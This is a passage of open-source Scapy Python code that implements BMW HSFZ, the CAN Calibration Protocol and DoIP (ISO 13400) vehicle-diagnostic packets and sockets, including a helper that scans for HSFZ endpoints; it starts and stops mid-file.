High-Speed-Fahrzeug-Zugang # scapy.contrib.status = loads import logging import socket import struct import time from typing import ( Any, Optional, Tuple, Type, Iterable, List, Union, ) from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.uds import UDS, UDS_TP from scapy.data import MTU from scapy.fields import (IntField, ShortEnumField, XByteField, ConditionalField, StrFixedLenField) from scapy.layers.inet import TCP, UDP from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.supersocket import StreamSocket """ BMW HSFZ (High-Speed-Fahrzeug-Zugang / High-Speed-Car-Access). BMW specific diagnostic over IP protocol implementation. The physical interface for this connection is called ENET. """ # #########################HSFZ################################### class HSFZ(Packet): control_words = { 0x01: "diagnostic_req_res", 0x02: "acknowledge_transfer", 0x10: "terminal15", 0x11: "vehicle_ident_data", 0x12: "alive_check", 0x13: "status_data_inquiry", 0x40: "incorrect_tester_address", 0x41: "incorrect_control_word", 0x42: "incorrect_format", 0x43: "incorrect_dest_address", 0x44: "message_too_large", 0x45: "diag_app_not_ready", 0xFF: "out_of_memory" } name = 'HSFZ' fields_desc = [ IntField('length', None), ShortEnumField('control', 1, control_words), ConditionalField( XByteField('source', 0), lambda p: p._has_srctgt_addrs()), ConditionalField( XByteField('target', 0), lambda p: p._has_srctgt_addrs()), ConditionalField( XByteField('expected', 0), lambda p: p._has_exprecv_addrs()), ConditionalField( XByteField('received', 0), lambda p: p._has_exprecv_addrs()), ConditionalField( StrFixedLenField("identification_string", None, None, lambda p: p.length), lambda p: p._hasidstring()) ] def _has_srctgt_addrs(self): # type: () -> bool # Address present in diagnostic_req_res, acknowledge_transfer, # and two byte length alive_check frames. return self.control == 0x01 or \ self.control == 0x02 or \ (self.control == 0x12 and self.length == 2) def _has_exprecv_addrs(self): # type: () -> bool # Address present in incorrect_tester_address frames. return self.control == 0x40 def _hasidstring(self): # type: () -> bool # ID string is present in some vehicle_ident_data frames and in # long alive_check grames. return (self.control == 0x11 and self.length != 0) or \ (self.control == 0x12 and self.length > 2) def hashret(self): # type: () -> bytes hdr_hash = struct.pack("B", self.source ^ self.target) pay_hash = self.payload.hashret() return hdr_hash + pay_hash def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, bytes] return s[:self.length - 2], s[self.length - 2:] def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """ This will set the LenField 'length' to the correct value. """ if self.length is None: pkt = struct.pack("!I", len(pay) + 2) + pkt[4:] return pkt + pay bind_bottom_up(TCP, HSFZ, sport=6801) bind_bottom_up(TCP, HSFZ, dport=6801) bind_layers(TCP, HSFZ, sport=6801, dport=6801) bind_bottom_up(UDP, HSFZ, sport=6811) bind_bottom_up(UDP, HSFZ, dport=6811) bind_layers(UDP, HSFZ, sport=6811, dport=6811) bind_layers(HSFZ, UDS) # ########################HSFZSocket################################### class HSFZSocket(StreamSocket): def __init__(self, ip='127.0.0.1', port=6801): # type: (str, int) -> None self.ip = ip self.port = port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.connect((self.ip, self.port)) StreamSocket.__init__(self, s, HSFZ) self.buffer = b"" def recv(self, x=MTU, **kwargs): # type: (Optional[int], **Any) -> Optional[Packet] if self.buffer: len_data = self.buffer[:4] else: len_data = self.ins.recv(4, socket.MSG_PEEK) if len(len_data) != 4: return None len_int = struct.unpack(">I", len_data)[0] len_int += 6 self.buffer += self.ins.recv(len_int - len(self.buffer)) if len(self.buffer) != len_int: return None pkt = self.basecls(self.buffer, **kwargs) # type: Packet self.buffer = b"" return pkt class UDS_HSFZSocket(HSFZSocket): def __init__(self, source, target, ip='127.0.0.1', port=6801, basecls=UDS): # type: (int, int, str, int, Type[Packet]) -> None super(UDS_HSFZSocket, self).__init__(ip, port) self.source = source self.target = target self.basecls = HSFZ self.outputcls = basecls def send(self, x): # type: (Packet) -> int try: x.sent_time = time.time() except AttributeError: pass try: return super(UDS_HSFZSocket, self).send( HSFZ(source=self.source, target=self.target) / x) except Exception as e: # Workaround: # This catch block is currently necessary to detect errors # during send. In automotive application it's not uncommon that # a destination socket goes down. If any function based on # SndRcvHandler is used, all exceptions are silently handled # in the send part. This means, a caller of the SndRcvHandler # can not detect if an error occurred. This workaround closes # the socket if a send error was detected. log_automotive.exception("Exception: %s", e) self.close() return 0 def recv(self, x=MTU, **kwargs): # type: (Optional[int], **Any) -> Optional[Packet] pkt = super(UDS_HSFZSocket, self).recv(x) if pkt and pkt.control == 1: return self.outputcls(bytes(pkt.payload), **kwargs) else: return pkt def hsfz_scan(ip, # type: str scan_range=range(0x100), # type: Iterable[int] source=0xf4, # type: int timeout=0.1, # type: Union[int, float] verbose=True # type: bool ): # type: (...) -> List[UDS_HSFZSocket] """ Helper function to scan for HSFZ endpoints. Example: >>> sockets = hsfz_scan("192.168.0.42") :param ip: IPv4 address of target to scan :param scan_range: Range for HSFZ destination address :param source: HSFZ source address, used during the scan :param timeout: Timeout for each request :param verbose: Show information during scan, if True :return: A list of open UDS_HSFZSockets """ if verbose: log_automotive.setLevel(logging.DEBUG) results = list() for i in scan_range: with UDS_HSFZSocket(source, i, ip) as sock: try: resp = sock.sr1(UDS() / UDS_TP(), timeout=timeout, verbose=False) if resp: results.append((i, resp)) if resp: log_automotive.debug( "Found endpoint %s, source=0x%x, target=0x%x" % (ip, source, i)) except Exception as e: log_automotive.exception( "Error %s at destination address 0x%x" % (e, i)) return [UDS_HSFZSocket(0xf4, target, ip) for target, _ in results] ================================================ FILE: scapy/contrib/automotive/ccp.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = CAN Calibration Protocol (CCP) # scapy.contrib.status = loads import struct from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.fields import XIntField, FlagsField, ByteEnumField, \ ThreeBytesField, XBitField, ShortField, IntField, XShortField, \ ByteField, XByteField, StrFixedLenField, LEShortField from scapy.layers.can import CAN class CCP(CAN): name = 'CAN Calibration Protocol' fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), ByteField('length', 8), ThreeBytesField('reserved', 0), ] def extract_padding(self, p): return p, None class CRO(Packet): commands = { 0x01: "CONNECT", 0x1B: "GET_CCP_VERSION", 0x17: "EXCHANGE_ID", 0x12: "GET_SEED", 0x13: "UNLOCK", 0x02: "SET_MTA", 0x03: "DNLOAD", 0x23: "DNLOAD_6", 0x04: "UPLOAD", 0x0F: "SHORT_UP", 0x11: "SELECT_CAL_PAGE", 0x14: "GET_DAQ_SIZE", 0x15: "SET_DAQ_PTR", 0x16: "WRITE_DAQ", 0x06: "START_STOP", 0x07: "DISCONNECT", 0x0C: "SET_S_STATUS", 0x0D: "GET_S_STATUS", 0x0E: "BUILD_CHKSUM", 0x10: "CLEAR_MEMORY", 0x18: "PROGRAM", 0x22: "PROGRAM_6", 0x19: "MOVE", 0x05: "TEST", 0x09: "GET_ACTIVE_CAL_PAGE", 0x08: "START_STOP_ALL", 0x20: "DIAG_SERVICE", 0x21: "ACTION_SERVICE" } name = 'Command Receive Object' fields_desc = [ ByteEnumField('cmd', 0x01, commands), ByteField('ctr', 0) ] def hashret(self): return struct.pack('B', self.ctr) # ##### CROs ###### class CONNECT(Packet): fields_desc = [ LEShortField('station_address', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4), ] bind_layers(CRO, CONNECT, cmd=0x01) class GET_CCP_VERSION(Packet): fields_desc = [ XByteField('main_protocol_version', 0), XByteField('release_version', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, GET_CCP_VERSION, cmd=0x1B) class EXCHANGE_ID(Packet): fields_desc = [ StrFixedLenField('ccp_master_device_id', b'\x00' * 6, length=6) ] bind_layers(CRO, EXCHANGE_ID, cmd=0x17) class GET_SEED(Packet): fields_desc = [ XByteField('resource', 0), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, GET_SEED, cmd=0x12) class UNLOCK(Packet): fields_desc = [ StrFixedLenField('key', b'\x00' * 6, length=6) ] bind_layers(CRO, UNLOCK, cmd=0x13) class SET_MTA(Packet): fields_desc = [ XByteField('mta_num', 0), XByteField('address_extension', 0), XIntField('address', 0), ] bind_layers(CRO, SET_MTA, cmd=0x02) class DNLOAD(Packet): fields_desc = [ XByteField('size', 0), StrFixedLenField('data', b'\x00' * 5, length=5) ] bind_layers(CRO, DNLOAD, cmd=0x03) class DNLOAD_6(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 6, length=6) ] bind_layers(CRO, DNLOAD_6, cmd=0x23) class UPLOAD(Packet): fields_desc = [ XByteField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, UPLOAD, cmd=0x04) class SHORT_UP(Packet): fields_desc = [ XByteField('size', 0), XByteField('address_extension', 0), XIntField('address', 0), ] bind_layers(CRO, SHORT_UP, cmd=0x0F) class SELECT_CAL_PAGE(Packet): fields_desc = [ StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) ] bind_layers(CRO, SELECT_CAL_PAGE, cmd=0x11) class GET_DAQ_SIZE(Packet): fields_desc = [ XByteField('DAQ_num', 0), XByteField('ccp_reserved', 0), XIntField('DTO_identifier', 0), ] bind_layers(CRO, GET_DAQ_SIZE, cmd=0x14) class SET_DAQ_PTR(Packet): fields_desc = [ XByteField('DAQ_num', 0), XByteField('ODT_num', 0), XByteField('ODT_element', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] bind_layers(CRO, SET_DAQ_PTR, cmd=0x15) class WRITE_DAQ(Packet): fields_desc = [ XByteField('DAQ_size', 0), XByteField('address_extension', 0), XIntField('address', 0), ] bind_layers(CRO, WRITE_DAQ, cmd=0x16) class START_STOP(Packet): fields_desc = [ XByteField('mode', 0), XByteField('DAQ_num', 0), XByteField('ODT_num', 0), XByteField('event_channel', 0), XShortField('transmission_rate', 0), ] bind_layers(CRO, START_STOP, cmd=0x06) class DISCONNECT(Packet): fields_desc = [ ByteEnumField('type', 0, {0: "temporary", 1: "end_of_session"}), StrFixedLenField('ccp_reserved0', b'\xff' * 1, length=1), LEShortField('station_address', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, DISCONNECT, cmd=0x07) class SET_S_STATUS(Packet): name = "Set Session Status" fields_desc = [ FlagsField("session_status", 0, 8, ["CAL", "DAQ", "RESUME", "RES0", "RES1", "RES2", "STORE", "RUN"]), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, SET_S_STATUS, cmd=0x0C) class GET_S_STATUS(Packet): fields_desc = [ StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) ] bind_layers(CRO, GET_S_STATUS, cmd=0x0D) class BUILD_CHKSUM(Packet): fields_desc = [ IntField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, BUILD_CHKSUM, cmd=0x0E) class CLEAR_MEMORY(Packet): fields_desc = [ IntField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, CLEAR_MEMORY, cmd=0x10) class PROGRAM(Packet): fields_desc = [ XByteField('size', 0), StrFixedLenField('data', b'\x00' * 0, length_from=lambda pkt: pkt.size), StrFixedLenField('ccp_reserved', b'\xff' * 5, length_from=lambda pkt: 5 - pkt.size) ] bind_layers(CRO, PROGRAM, cmd=0x18) class PROGRAM_6(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 6, length=6) ] bind_layers(CRO, PROGRAM_6, cmd=0x22) class MOVE(Packet): fields_desc = [ IntField('size', 0), StrFixedLenField('ccp_reserved', b'\xff' * 2, length=2) ] bind_layers(CRO, MOVE, cmd=0x19) class TEST(Packet): fields_desc = [ LEShortField('station_address', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, TEST, cmd=0x05) class GET_ACTIVE_CAL_PAGE(Packet): fields_desc = [ StrFixedLenField('ccp_reserved', b'\xff' * 6, length=6) ] bind_layers(CRO, GET_ACTIVE_CAL_PAGE, cmd=0x09) class START_STOP_ALL(Packet): fields_desc = [ ByteEnumField('type', 0, {0: "stop", 1: "start"}), StrFixedLenField('ccp_reserved', b'\xff' * 5, length=5) ] bind_layers(CRO, START_STOP_ALL, cmd=0x08) class DIAG_SERVICE(Packet): fields_desc = [ ShortField('diag_service', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, DIAG_SERVICE, cmd=0x20) class ACTION_SERVICE(Packet): fields_desc = [ ShortField('action_service', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4) ] bind_layers(CRO, ACTION_SERVICE, cmd=0x21) # ##### DTOs ###### class DEFAULT_DTO(Packet): fields_desc = [ StrFixedLenField('load', b'\xff' * 5, length=5), ] class GET_CCP_VERSION_DTO(Packet): fields_desc = [ XByteField('main_protocol_version', 0), XByteField('release_version', 0), StrFixedLenField('ccp_reserved', b'\x00' * 3, length=3) ] class EXCHANGE_ID_DTO(Packet): fields_desc = [ ByteField('slave_device_ID_length', 0), ByteField('data_type_qualifier', 0), ByteField('resource_availability_mask', 0), ByteField('resource_protection_mask', 0), StrFixedLenField('ccp_reserved', b'\xff' * 1, length=1), ] class GET_SEED_DTO(Packet): fields_desc = [ XByteField('protection_status', 0), StrFixedLenField('seed', b'\x00' * 4, length=4) ] class UNLOCK_DTO(Packet): fields_desc = [ ByteField('privilege_status', 0), StrFixedLenField('ccp_reserved', b'\xff' * 4, length=4), ] class DNLOAD_DTO(Packet): fields_desc = [ XByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class DNLOAD_6_DTO(Packet): fields_desc = [ XByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class UPLOAD_DTO(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 5, length=5) ] class SHORT_UP_DTO(Packet): fields_desc = [ StrFixedLenField('data', b'\x00' * 5, length=5) ] class GET_DAQ_SIZE_DTO(Packet): fields_desc = [ XByteField('DAQ_list_size', 0), XByteField('first_pid', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] class GET_S_STATUS_DTO(Packet): fields_desc = [ FlagsField("session_status", 0, 8, ["CAL", "DAQ", "RESUME", "RES0", "RES1", "RES2", "STORE", "RUN"]), ByteField('information_qualifier', 0), StrFixedLenField('information', b'\x00' * 3, length=3) ] class BUILD_CHKSUM_DTO(Packet): fields_desc = [ ByteField('checksum_size', 0), StrFixedLenField('checksum_data', b'\x00' * 4, length_from=lambda pkt: pkt.checksum_size), StrFixedLenField('ccp_reserved', b'\xff' * 0, length_from=lambda pkt: 4 - pkt.checksum_size) ] class PROGRAM_DTO(Packet): fields_desc = [ ByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class PROGRAM_6_DTO(Packet): fields_desc = [ ByteField('MTA0_extension', 0), XIntField('MTA0_address', 0) ] class GET_ACTIVE_CAL_PAGE_DTO(Packet): fields_desc = [ XByteField('address_extension', 0), XIntField('address', 0) ] class DIAG_SERVICE_DTO(Packet): fields_desc = [ ByteField('data_length', 0), ByteField('data_type', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] class ACTION_SERVICE_DTO(Packet): fields_desc = [ ByteField('data_length', 0), ByteField('data_type', 0), StrFixedLenField('ccp_reserved', b'\xff' * 3, length=3) ] class DTO(Packet): __slots__ = Packet.__slots__ + ["payload_cls"] return_codes = { 0x00: "acknowledge / no error", 0x01: "DAQ processor overload", 0x10: "command processor busy", 0x11: "DAQ processor busy", 0x12: "internal timeout", 0x18: "key request", 0x19: "session status request", 0x20: "cold start request", 0x21: "cal. data init. request", 0x22: "DAQ list init. request", 0x23: "code update request", 0x30: "unknown command", 0x31: "command syntax", 0x32: "parameter(s) out of range", 0x33: "access denied", 0x34: "overload", 0x35: "access locked", 0x36: "resource/function not available" } fields_desc = [ XByteField("packet_id", 0xff), ByteEnumField('return_code', 0x00, return_codes), ByteField('ctr', 0) ] def __init__(self, *args, **kwargs): self.payload_cls = DEFAULT_DTO if "payload_cls" in kwargs: self.payload_cls = kwargs["payload_cls"] del kwargs["payload_cls"] Packet.__init__(self, *args, **kwargs) def __eq__(self, other): return super(DTO, self).__eq__(other) and \ self.payload_cls == other.payload_cls def guess_payload_class(self, payload): return self.payload_cls @staticmethod def get_dto_cls(cmd): try: return { 0x03: DNLOAD_DTO, 0x04: UPLOAD_DTO, 0x09: GET_ACTIVE_CAL_PAGE_DTO, 0x0D: GET_S_STATUS_DTO, 0x0E: BUILD_CHKSUM_DTO, 0x0F: SHORT_UP_DTO, 0x12: GET_SEED_DTO, 0x13: UNLOCK_DTO, 0x14: GET_DAQ_SIZE_DTO, 0x17: EXCHANGE_ID_DTO, 0x18: PROGRAM_DTO, 0x1B: GET_CCP_VERSION_DTO, 0x20: DIAG_SERVICE_DTO, 0x21: ACTION_SERVICE_DTO, 0x22: PROGRAM_6_DTO, 0x23: DNLOAD_6_DTO }[cmd] except KeyError: return DEFAULT_DTO def answers(self, other): """In CCP, the payload of a DTO packet is dependent on the cmd field of a corresponding CRO packet. Two packets correspond, if there ctr field is equal. If answers detect the corresponding CRO, it will interpret the payload of a DTO with the correct class. In CCP, there is no other way, to determine the class of a DTO payload. Since answers is called on sr and sr1, this modification of the original answers implementation will give a better user experience. """ if not hasattr(other, "ctr"): return 0 if self.ctr != other.ctr: return 0 if not hasattr(other, "cmd"): return 0 new_pl_cls = self.get_dto_cls(other.cmd) if self.payload_cls != new_pl_cls and \ self.payload_cls == DEFAULT_DTO: data = bytes(self.load) self.remove_payload() self.add_payload(new_pl_cls(data)) self.payload_cls = new_pl_cls return 1 def hashret(self): return struct.pack('B', self.ctr) bind_bottom_up(CCP, DTO) ================================================ FILE: scapy/contrib/automotive/doip.py ================================================ #! /usr/bin/env python # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # scapy.contrib.description = Diagnostic over IP (DoIP) / ISO 13400 # scapy.contrib.status = loads import socket import ssl import struct import time from typing import ( Any, Union, Tuple, Optional, Dict, Type, ) from scapy.contrib.automotive import log_automotive from scapy.contrib.automotive.uds import UDS from scapy.data import MTU from scapy.fields import ( ByteEnumField, ConditionalField, IntField, MayEnd, StrFixedLenField, XByteEnumField, XByteField, XIntField, XShortEnumField, XShortField, XStrField, ) from scapy.layers.inet import TCP, UDP from scapy.packet import Packet, bind_layers, bind_bottom_up from scapy.supersocket import SSLStreamSocket # ISO 13400-2 sect 9.2 class DoIP(Packet): """ Implementation of the DoIP (ISO 13400) protocol. DoIP packets can be sent via UDP and TCP. Depending on the payload type, the correct connection need to be chosen: +--------------+--------------------------------------------------------------+-----------------+ | Payload Type | Payload Type Name | Connection Kind | +--------------+--------------------------------------------------------------+-----------------+ | 0x0000 | Generic DoIP header negative acknowledge | UDP / TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0001 | Vehicle Identification request message | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0002 | Vehicle identification request message with EID | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0003 | Vehicle identification request message with VIN | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0004 | Vehicle announcement message/vehicle identification response | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0005 | Routing activation request | TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0006 | Routing activation response | TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0007 | Alive Check request | TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x0008 | Alive Check response | TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x4001 | IP entity status request | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x4002 | DoIP entity status response | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x4003 | Diagnostic power mode information request | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x4004 | Diagnostic power mode information response | UDP | +--------------+--------------------------------------------------------------+-----------------+ | 0x8001 | Diagnostic message | TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x8002 | Diagnostic message positive acknowledgement | TCP | +--------------+--------------------------------------------------------------+-----------------+ | 0x8003 | Diagnostic message negative acknowledgement | TCP | +--------------+--------------------------------------------------------------+-----------------+ Example with UDP: >>> socket = L3RawSocket(iface="eth0") >>> resp = socket.sr1(IP(dst="169.254.117.238")/UDP(dport=13400)/DoIP(payload_type=1)) Example with TCP: >>> socket = DoIPSocket("169.254.117.238") >>> pkt = DoIP(payload_type=0x8001, source_address=0xe80, target_address=0x1000) / UDS() / UDS_RDBI(identifiers=[0x1000]) >>> resp = socket.sr1(pkt, timeout=1) Example with UDS: >>> socket = UDS_DoIPSocket("169.254.117.238") >>> pkt = UDS() / UDS_RDBI(identifiers=[0x1000]) >>> resp = socket.sr1(pkt, timeout=1) """ # noqa: E501 payload_types = { 0x0000: "Generic DoIP header NACK", 0x0001: "Vehicle identification request", 0x0002: "Vehicle identification request with EID", 0x0003: "Vehicle identification request with VIN", 0x0004: "Vehicle announcement message/vehicle identification response message", # noqa: E501 0x0005: "Routing activation request", 0x0006: "Routing activation response", 0x0007: "Alive check request", 0x0008: "Alive check response", 0x4001: "DoIP entity status request", 0x4002: "DoIP entity status response", 0x4003: "Diagnostic power mode information request", 0x4004: "Diagnostic power mode information response", 0x8001: "Diagnostic message", 0x8002: "Diagnostic message ACK", 0x8003: "Diagnostic message NACK"} name = 'DoIP' fields_desc = [ XByteEnumField("protocol_version", 0x02, { 0x01: "ISO13400_2010", 0x02: "ISO13400_2012", 0x03: "ISO13400_2019", 0x04: "ISO13400_2019_AMD1"}), XByteEnumField("inverse_version", 0xFD, { 0xFE: "ISO13400_2010", 0xFD: "ISO13400_2012", 0xFC: "ISO13400_2019", 0xFB: "ISO13400_2019_AMD1"}), XShortEnumField("payload_type", 0, payload_types), IntField("payload_length", None), ConditionalField(ByteEnumField("nack", 0, { 0: "Incorrect pattern format", 1: "Unknown payload type", 2: "Message too large", 3: "Out of memory", 4: "Invalid payload length" }), lambda p: p.payload_type in [0x0]), ConditionalField(StrFixedLenField("vin", b"", 17), lambda p: p.payload_type in [3, 4]), ConditionalField(XShortField("logical_address", 0), lambda p: p.payload_type in [4]), ConditionalField(StrFixedLenField("eid", b"", 6), lambda p: p.payload_type in [2, 4]), ConditionalField(StrFixedLenField("gid", b"", 6), lambda p: p.payload_type in [4]), ConditionalField(MayEnd(XByteEnumField("further_action", 0, { 0x00: "No further action required", 0x01: "Reserved by ISO 13400", 0x02: "Reserved by ISO 13400", 0x03: "Reserved by ISO 13400", 0x04: "Reserved by ISO 13400", 0x05: "Reserved by ISO 13400", 0x06: "Reserved by ISO 13400", 0x07: "Reserved by ISO 13400", 0x08: "Reserved by ISO 13400", 0x09: "Reserved by ISO 13400", 0x0a: "Reserved by ISO 13400", 0x0b: "Reserved by ISO 13400", 0x0c: "Reserved by ISO 13400", 0x0d: "Reserved by ISO 13400", 0x0e: "Reserved by ISO 13400", 0x0f: "Reserved by ISO 13400", 0x10: "Routing activation required to initiate central security", })), lambda p: p.payload_type in [4]), # VIN/GID sync. status is marked as optional, so the packet MayEnd # on further_action ConditionalField(XByteEnumField("vin_gid_status", 0, { 0x00: "VIN and/or GID are synchronized", 0x01: "Reserved by ISO 13400", 0x02: "Reserved by ISO 13400", 0x03: "Reserved by ISO 13400", 0x04: "Reserved by ISO 13400", 0x05: "Reserved by ISO 13400", 0x06: "Reserved by ISO 13400", 0x07: "Reserved by ISO 13400", 0x08: "Reserved by ISO 13400", 0x09: "Reserved by ISO 13400", 0x0a: "Reserved by ISO 13400", 0x0b: "Reserved by ISO 13400", 0x0c: "Reserved by ISO 13400", 0x0d: "Reserved by ISO 13400", 0x0e: "Reserved by ISO 13400", 0x0f: "Reserved by ISO 13400", 0x10: "Incomplete: VIN and GID are NOT synchronized" }), lambda p: p.payload_type in [4]), ConditionalField(XShortField("source_address", 0), lambda p: p.payload_type in [5, 8, 0x8001, 0x8002, 0x8003]), # noqa: E501 ConditionalField(XByteEnumField("activation_type", 0, { 0: "Default", 1: "WWH-OBD", 0xe0: "Central security", 0x16: "Default", 0x116: "Diagnostic", 0xe016: "Central security" }), lambda p: p.payload_type in [5]), ConditionalField(XShortField("logical_address_tester", 0), lambda p: p.payload_type in [6]), ConditionalField(XShortField("logical_address_doip_entity", 0), lambda p: p.payload_type in [6]), ConditionalField(XByteEnumField("routing_activation_response", 0, { 0x00: "Routing activation denied due to unknown source address.", 0x01: "Routing activation denied because all concurrently supported TCP_DATA sockets are registered and active.", # noqa: E501 0x02: "Routing activation denied because an SA different from the table connection entry was received on the already activated TCP_DATA socket.", # noqa: E501 0x03: "Routing activation denied because the SA is already registered and active on a different TCP_DATA socket.", # noqa: E501 0x04: "Routing activation denied due to missing authentication.", 0x05: "Routing activation denied due to rejected confirmation.", 0x06: "Routing activation denied due to unsupported routing activation type.", # noqa: E501 0x07: "Routing activation denied because the specified activation type requires a secure TLS TCP_DATA socket.", # noqa: E501 0x08: "Reserved by ISO 13400.", 0x09: "Reserved by ISO 13400.", 0x0a: "Reserved by ISO 13400.", 0x0b: "Reserved by ISO 13400.", 0x0c: "Reserved by ISO 13400.", 0x0d: "Reserved by ISO 13400.", 0x0e: "Reserved by ISO 13400.", 0x0f: "Reserved by ISO 13400.", 0x10: "Routing successfully activated.", 0x11: "Routing will be activated; confirmation required." }), lambda p: p.payload_type in [6]), ConditionalField(XIntField("reserved_iso", 0), lambda p: p.payload_type in [5, 6]), ConditionalField(XStrField("reserved_oem", b""), lambda p: p.payload_type in [5, 6]), ConditionalField(XByteEnumField("diagnostic_power_mode", 0, { 0: "not ready", 1: "ready", 2: "not supported" }), lambda p: p.payload_type in [0x4004]), ConditionalField(ByteEnumField("node_type", 0, { 0: "DoIP gateway", 1: "DoIP node" }), lambda p: p.payload_type in [0x4002]), ConditionalField(XByteField("max_open_sockets", 1), lambda p: p.payload_type in [0x4002]), ConditionalField(XByteField("cur_open_sockets", 0), lambda p: p.payload_type in [0x4002]), ConditionalField(IntField("max_data_size", 0), lambda p: p.payload_type in [0x4002]), ConditionalField(XShortField("target_address", 0), lambda p: p.payload_type in [0x8001, 0x8002, 0x8003]), # noqa: E501 ConditionalField(XByteEnumField("ack_code", 0, {0: "ACK"}), lambda p: p.payload_type in [0x8002]), ConditionalField(ByteEnumField("nack_code", 0, { 0x00: "Reserved by ISO 13400", 0x01: "Reserved by ISO 13400", 0x02: "Invalid source address", 0x03: "Unknown target address", 0x04: "Diagnostic message too large", 0x05: "Out of memory", 0x06: "Target unreachable", 0x07: "Unknown network", 0x08: "Transport protocol error" }), lambda p: p.payload_type in [0x8003]), ConditionalField(XStrField("previous_msg", b""), lambda p: p.payload_type in [0x8002, 0x8003]) ] def answers(self, other): # type: (Packet) -> int """DEV: true if self is an answer from other""" if isinstance(other, type(self)): if self.payload_type == 0: return 1 matches = [(4, 1), (4, 2), (4, 3), (6, 5), (8, 7), (0x4002, 0x4001), (0x4004, 0x4003), (0x8001, 0x8001), (0x8003, 0x8001)] if (self.payload_type, other.payload_type) in matches: if self.payload_type == 0x8001: return self.payload.answers(other.payload) return 1 return 0 def hashret(self): # type: () -> bytes payload_type_mapping = { 0x0000: b"\x01", 0x0001: b"\x01", 0x0002: b"\x01", 0x0003: b"\x01", 0x0004: b"\x01", 0x0005: b"\x02", 0x0006: b"\x02", 0x0007: b"\x03", 0x0008: b"\x03", 0x4001: b"\x04", 0x4002: b"\x04", 0x4003: b"\x05", 0x4004: b"\x05", 0x8001: b"\x06", 0x8002: b"\x06", 0x8003: b"\x06", } return payload_type_mapping.get(self.payload_type, b"\xff") def post_build(self, pkt, pay): # type: (bytes, bytes) -> bytes """ This will set the Field 'payload_length' to the correct value. """ if self.payload_length is None: pkt = pkt[:4] + struct.pack( "!I", len(pay) + len(pkt) - 8) + pkt[8:] return pkt + pay def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] if self.payload_type == 0x8001: return s[:self.payload_length - 4], s[self.payload_length - 4:] else: return b"", s @classmethod def tcp_reassemble(cls, data, metadata, session): # type: (bytes, Dict[str, Any], Dict[str, Any]) -> Optional[Packet] length = struct.unpack("!I", data[4:8])[0] + 8 if len(data) >= length: return DoIP(data) return None bind_bottom_up(UDP, DoIP, sport=13400) bind_bottom_up(UDP, DoIP, dport=13400) bind_layers(UDP, DoIP, sport=13400, dport=13400) bind_layers(TCP, DoIP, sport=13400) bind_layers(TCP, DoIP, dport=13400) bind_layers(DoIP, UDS, payload_type=0x8001) class DoIPSSLStreamSocket(SSLStreamSocket): """Custom SSLStreamSocket for DoIP communication. """ def __init__(self, sock, basecls=None): # type: (socket.socket, Optional[Type[Packet]]) -> None super(DoIPSSLStreamSocket, self).__init__(sock, basecls or DoIP) self.buffer = b"" def recv(self, x=MTU, **kwargs): # type: (Optional[int], **Any) -> Optional[Packet] if len(self.buffer) < 8: self.buffer += self.ins.recv(8) if len(self.buffer) < 8: return None len_data = self.buffer[:8] len_int = struct.unpack(">I", len_data[4:8])[0] len_int += 8 self.buffer += self.ins.recv(len_int - len(self.buffer)) if len(self.buffer) < len_int: return None pktbuf = self.buffer[:len_int] self.buffer = self.buffer[len_int:] pkt = self.basecls(pktbuf, **kwargs) # type: Packet return pkt class DoIPSocket(DoIPSSLStreamSocket): """Socket for DoIP communication. This sockets automatically sends a routing activation request as soon as a TCP or TLS connection is established. :param ip: IP address of destination :param port: 